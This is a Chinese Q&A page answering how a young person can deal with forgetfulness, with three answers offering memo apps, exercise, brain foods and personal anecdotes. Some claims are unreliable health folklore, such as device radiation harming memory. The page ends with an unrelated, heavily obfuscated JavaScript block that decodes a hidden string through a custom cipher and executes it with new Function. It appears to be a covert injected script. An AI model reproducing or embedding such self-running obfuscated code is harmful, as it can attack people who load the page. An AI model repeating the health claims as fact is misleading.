年纪轻轻就有健忘症,该怎么办?

2025-03-16 13:48:41
推荐回答(3个)
回答1:

那就慢慢培养自己的记忆力,慢慢的就会好一些。

现在的网络电子设备非常发达,特别是手机、平板,这些东西都有辐射,如果长时间玩这些设备,也会对记忆力造成影响,经常有前脚想去拿剪刀,到了工具箱就忘记要找什么工具的经历,也可能是打开手机明明想看一下时间,刷朋友圈刷了半个小时。所以,建议不要太长时间泡在电子设备上面,花费的时间长,就会对记忆力造成影响,总是忘记一些事情。

可以适当增加一些运动,培养一些爱好,踢足球,打篮球,羽毛球,或者跑步,让自己的身体活跃起来,这样大脑就反应起来了,让身体保持一个年轻的状态,让体内的血液顺畅的流通,脑部供血充足,就很容易记住一些事情。

再有可以特意的花时间记一些事情,比如你想记住一个人的人名,可以多了解他的一些事情,他的老家,他的工作,他的爱好,他爱吃什么,平时喜欢做什么,等等,这会辅助你的记忆,当你想到他的其他信息,就会想起他的名字来。

再有可以自己做一个备忘录,用手机就可以啊,比如记不住朋友家的门牌号,就打开手机的备忘录,写在里面,下次想找的时候直接看备忘录,比如记不住朋友的生日,或者越好的行程,那就在日历里面建立一个新的行程,设置一个闹铃,提醒自己,这样就不会忘记一些重要的事情了,如果想出去买东西,可以列一个清单,总之,怕记不住就写下来。

回答2:

       现在年轻人患上健忘症的列子数不可数,通常现象表现为经常性忘记一些事,我有一个朋友就常常忘记把原来要拿上的东西忘拿,想说的忘说。这让他苦恼不已,所以经常在想是不是老了,可是明明自己还年轻啊,忘拿东西,忘记事情成了他最大的毛病。前一秒就说待会要把这个文件带走,结果每次都是后知后觉的发现自己遗忘了。针对这些事项,我们可以做一些小事情来避免这些事情的发生。

         首先,我们如果第二天有什么重要的事情要做,或者什么东西要拿,我们可以买一本便利贴,把要做的,要拿的都写在便利条上,贴在门后,这样你第二天上班或者上课出门的时候,抬头便能看见你写的便利贴。你也可以在晚上把需要东西准备好,以便你第二天带走。其次,如果不想每天写便利条,觉得这样麻烦的话,我们可以利用手机上的一些小功能,比如备忘录,把第二天的工作可以写进手机里,这样也方便你第二天的工作顺利开展,这些都是在物质方面小小的改变你的健忘症,只是减少它的发生,并不能根本的治疗健忘症。

         其实健忘症是一种神经性的退化,是一种脑部的疾病,可以通过寻求医生的帮助,慢慢的治疗。如果不想看医生,在平时的饮食上可以注意一下,多吃核桃,花生,大豆等补脑的食物,防止脑组织退化。另外可以在睡前尽可能的多看看书,对增强记忆,弱化健忘症也是有很大的帮助。

回答3:

  我这个人感觉一向是记忆不好,有些别人和我说什么什么事情问我还记得吗,我就感觉自己是一点印象都没有了,这应该就是健忘症吧,我应该是脑子不太好使吧,以至于我年纪轻轻记忆力就不太好,可能这和医学上得健忘症还不太一样。

  上学前班的时候觉得自己之前的记忆都没有,总觉得自己是一夜长大的,要不是有自己小时候的照片和自己一些零零散散的记忆,真的以为自己一下子就张这么大了,其实差不多我身边的同学都对自己的那个时期没有多少的记忆,不过我感觉我自己的短期学习的记忆力还是很不错的,一般考试的时候基本就是要背的东西还是很快能记下来的,不过考完试之后就什么都忘记了。但是我感觉我的健忘症可能比别人重一些,对于那些小学初中的事情忘记也是很正常的事情,大部分的人都会因为时间的推移而遗忘一些事情,可是我对两年前的事情很多就记得不太清楚了,我和室友们和大学同学偶尔会聊起我们开学刚来的情景,他们对于开学总是有很多的回忆,可是我好像都不记得了,然后我就尴尬的说有这回事吗我好像不记得了。

  很多一两个月发生的事情我就不是记得很清楚了,他们一说起来就是很迷茫,可能是我这个人神经比较大条,感觉不重要的事情就自动过滤掉了,也可能是脑容量不够储存这么多东西,这种可能会更好,因为一些不好的回忆可能会忘的更快一些,这种健忘症可能就是治不好了,就是平时吃点有营养的东西,补充一下自己的大脑。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();